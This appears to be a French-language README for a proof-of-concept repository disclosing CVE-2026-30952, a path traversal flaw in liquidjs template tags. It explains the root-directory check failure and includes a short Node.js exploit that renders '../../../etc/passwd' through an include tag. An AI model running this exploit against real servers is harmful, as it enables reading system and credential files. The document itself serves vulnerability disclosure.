
PoC pour CVE-2026-30952 : vulnérabilité de traversée de chemin dans liquidjs via des chemins absolus dans les balises layout, render et include.
Ce dépôt contient une preuve de concept (PoC) pour CVE-2026-30952, une vulnérabilité de traversée de chemin de sévérité élevée découverte dans la bibliothèque liquidjs (versions < 10.25.0).
Auteurs et chercheurs :
Moriel Harush Maor Caplan
La vulnérabilité permet un accès arbitraire aux fichiers via les balises layout, render et include lorsqu'elles sont utilisées avec des chemins absolus. Cela se produit même lorsqu'un répertoire root est spécifié, car le mécanisme de repli de la bibliothèque ne parvient pas à valider correctement que le chemin résolu reste dans le répertoire racine prévu.
Impact : Un attaquant peut lire des fichiers sensibles (par exemple, /etc/passwd, fichiers d'environnement) s'il peut contrôler le contenu du modèle ou la variable transmise à ces balises.
const { Liquid } = require('liquidjs');
const e = new Liquid({ root: ['/tmp'], partials: ['/tmp'], dynamicPartials: true });
e.parseAndRender('{% include page %}', { page: '../../../etc/passwd' }).then(o => console.log(o.slice(0,500)));

liquidjs (npm install [email protected])npm install.node exploit.js